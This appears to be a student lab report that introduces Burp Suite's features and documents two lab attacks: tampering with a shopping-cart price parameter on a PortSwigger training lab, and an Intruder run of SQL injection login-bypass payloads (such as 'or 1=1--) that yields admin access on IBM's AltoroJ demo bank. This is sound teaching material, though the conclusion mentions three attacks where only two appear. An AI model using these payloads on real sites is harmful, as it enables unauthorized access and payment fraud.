

BURP SUITE

Introduction:

In the realm of cybersecurity, one tool stands out: Burp Suite. This powerful software application has become a cornerstone in the arsenal of those responsible for securing web applications and identifying vulnerabilities. We will delve into what Burp Suite is, why it is used, and explore its key features.

What is Burp Suite?

Burp Suite, developed by PortSwigger, is a web vulnerability scanner and penetration testing tool. It is designed to help security professionals assess and strengthen the security of web applications by identifying vulnerabilities and weaknesses. Burp Suite operates as an intercepting proxy, which means it sits between a user's browser and the web application, allowing it to monitor and manipulate the traffic between the two. This interception capability makes it a versatile tool for both passive and active web application security testing.

Why is Burp Suite Used?

The primary reason Burp Suite is widely used in the field of cybersecurity is its effectiveness in identifying and mitigating web application vulnerabilities. Here are some key reasons why Burp Suite is a go-to choice for security professionals:

1. **Vulnerability Detection:** Burp Suite excels in identifying various web application vulnerabilities, including but not limited to, SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and insecure deserialization. Its thorough scanning capabilities help security professionals

uncover security flaws that could be exploited by malicious actors.

2. Ease of Use: Despite its powerful capabilities, Burp Suite is user-friendly and comes with a well-designed graphical user interface (GUI). This makes it accessible to both seasoned cybersecurity experts and those new to web application testing.

3. Automation: Burp Suite allows users to automate scanning processes, saving time and ensuring thorough coverage. It offers features like the Spider tool, which can crawl a web application and identify potential vulnerabilities automatically.

4. Interception and Manipulation: The proxy functionality of Burp Suite allows users to intercept and manipulate web traffic between the client and server. This is invaluable for identifying security issues, debugging, and testing various attack scenarios.

5. Reporting: Burp Suite generates detailed reports that provide a comprehensive overview of vulnerabilities discovered during testing. These reports are crucial for communication with development teams and management.

6. Extensions: The tool's extensibility through extensions written in Java provides a wide range of customization options. Security professionals can create their own extensions or use existing ones to enhance their testing capabilities.

Key Features of Burp Suite:

Burp Suite offers a plethora of features, making it a versatile tool for web application security testing. Let's explore some of its key features:

1. Proxy: Burp Suite's proxy feature allows users to intercept and modify HTTP requests and responses between a web browser and the target application. This is immensely useful for identifying vulnerabilities and understanding how web applications work.
2. Spider: The Spider tool automatically crawls a web application, mapping out its structure and identifying potential entry points for security testing. This feature saves time by ensuring comprehensive coverage.
3. Scanner: The Scanner feature is the heart of Burp Suite. It automatically scans web applications for common vulnerabilities such as SQL injection, XSS, and more. It provides detailed reports on the identified vulnerabilities, including proof of concept.

4. Repeater: The Repeater tool enables users to manipulate and replay requests to the web application, facilitating in-depth testing of specific vulnerabilities. It's an excellent tool for fine-tuning attacks and verifying the impact of potential exploits.

5. Intruder: Intruder is a powerful tool for automating and customizing attacks on web applications. It allows users to define attack payloads and positions within requests, making it a valuable asset for identifying vulnerabilities like brute force login attempts.

6. Sequencer: The Sequencer tool helps assess the quality of randomness in tokens and session identifiers, which can be critical for understanding and exploiting vulnerabilities related to insecure randomness.

7. Decoder: Burp Suite includes various decoders for encoding and decoding data, which can be handy when working with encoded input, such as Base64 or URL encoding.

8. Comparer: The Comparer tool allows users to compare two requests or responses, making it easier to spot differences that might indicate vulnerabilities or security issues.

9. Extensibility: Burp Suite's extensibility is one of its standout features. Users can write their own extensions or leverage existing ones to add new functionality and tailor the tool to their specific needs.

Name : Athibhan Pruthvi
Reg No. : 21BLC1088

Attack 1:

The screenshot shows the Burp Suite Community Edition v2023.9.1 interface. The 'Intercept' tab is active, displaying a request to `https://0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net:443`. The request is a GET request with the following headers:

- Content-Length: 49
- Cache-Control: max-age=0
- Sec-Ch-Ua: "
- Sec-Ch-Ua-Mobile: ?
- Sec-Ch-Ua-Platform: "
- Upgrade-Insecure-Requests: 1
- Origin: https://0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: navigate
- Sec-Fetch-User: ?1
- Sec-Fetch-Dest: document
- Referer: https://0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net/product?productId=1
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.9

The request body is `productId=1&redir=PRODUCT&quantity=1&price=133700`. The PortSwigger browser view shows the response content, which is a promotional message for a "Lightweight '133t' Leather Jacket".

This screenshot is similar to the one above, but with a red arrow pointing to the request body in the Burp Suite 'Intercept' tab. The request body is `productId=1&redir=PRODUCT&quantity=1&price=133700`. The PortSwigger browser view shows the response content, which is a promotional message for a "Lightweight '133t' Leather Jacket".

Name : Athibhan Pruthvi
Reg No. : 21BLC1088

The image shows a screenshot of a web application interface on the right and the Burp Suite tool on the left. The web application, titled 'Excessive trust in client-side', displays a shopping cart with one item: 'Lightweight "1331" Leather Jacket' priced at \$0.01. The total is \$0.01. There is a coupon field and an 'Apply' button. The Burp Suite interface on the left shows a 'Proxy' tab with a list of intercepted requests. The first request is a GET request to '/academyLabHeader HTTP/2' with various headers including 'Host', 'Connection', 'User-Agent', and 'Cookie'. The 'Inspector' tab on the right shows the details of the selected request, including request attributes, query parameters, body parameters, cookies, and headers.

Cart

Name	Price	Quantity
Lightweight "1331" Leather Jacket	\$0.01	1

Total: \$0.01

Burp Suite

Request to https://0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net:443 [79.125.84.16]

Intercepted

Request details:

```
1 GET /academyLabHeader HTTP/2
2 Host: 0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net
3 Connection: Upgrade
4 Pragma: no-cache
5 Cache-Control: no-cache
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
7 Upgrade: websocket
8 Origin: https://0ada00e2043e4d3684a57d2b002d00b1.web-security-academy.net
9 Sec-WebSocket-Version: 13
10 Accept-Encoding: gzip, deflate
11 Accept-Language: en-US,en;q=0.9
12 Cookie: session=VclK9M0uVEnsULKJhCRbnK128w9rinRuJ
13 Sec-WebSocket-Key: F7VLC7zqFXIP5DrGWh5ZCw==
14
15
```

Inspector

Request attributes: 2

Request query parameters: 0

Request body parameters: 0

Request cookies: 1

Request headers: 15

Name : Athibhan Pruthvi
Reg No. : 21BLC1088

Attack 2:

The screenshot shows the Burp Suite Community Edition v2023.9.1 interface. The 'Intruder' tab is active, showing a list of payloads and a table of results. The 'Results' tab is also visible, showing a successful HTTP 302 Found response.

Request	Payload	Status code	Error	Timeout	Length	Comment
0		302			264	
1		302			126	
2	'or 1=1--	302			629	
3	'or 1=1	302			629	
4	'or 1=1'--	302			629	
5	'or 1=1'--	302			126	
6	'or 1=1'--	302			126	
7	'or 1=1'--	302			126	
8	'or 1=1	302			126	
9	'or 1=1	302			629	
10	'or 1=1	302			126	
11	'or 1=1--	302			629	

The 'Results' tab shows a successful HTTP 302 Found response. The response body contains a long string of characters, likely a token or session ID.

The screenshot shows the Altoro Mutual website. The user is logged in as 'Admin User' and has a credit limit of \$10000. The website is open source and published by IBM Corporation.

MY ACCOUNT

- View Account Summary
- View Recent Transactions
- Transfer Funds
- Search News Articles
- Customize Site Language

ADMINISTRATION

- Edit Users

Hello Admin User

Welcome to Altoro Mutual Online.

View Account Details: 800000 Corporate GO

Congratulations!

You have been pre-approved for an Altoro Gold Visa with a credit limit of \$10000!

Click [Here](#) to apply.

Privacy Policy | Security Statement | Server Status Check | REST API | © 2023 Altoro Mutual, Inc. This web application is open source! Get your copy from GitHub and take advantage of advanced features

The AltoroJ website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. IBM does not assume any risk in relation to your use of this website. For more information, please go to <http://www-142.ibm.com/software/products/en/ibmsubcategorySW10>.

Copyright © 2008, 2023, IBM Corporation, All rights reserved.

Conclusion:

In our exploration of Burp Suite, we entered the realm of web application security testing, using this tool to assess vulnerabilities on the testfire.net website.

Throughout this journey, we executed three distinct attacks with Burp Suite, each highlighting its critical role in enhancing cybersecurity.

Attack 1 showcased Burp Suite's proxy feature, enabling us to intercept and manipulate HTTP traffic between a web browser and the target application. This hands-on experience helped us identify vulnerabilities and understand web applications better.

Attack 2 utilized the Intruder tool, allowing us to automate and customize attacks on the web application with precision. This experience underscored Burp Suite's effectiveness in identifying and mitigating vulnerabilities, including brute force login attempts.

These experiences have enhanced my understanding of Burp Suite's ability to execute different attacks and its role in improving web application security. Burp Suite demonstrates technology's effectiveness in identifying vulnerabilities and strengthening defenses against evolving cyber threats.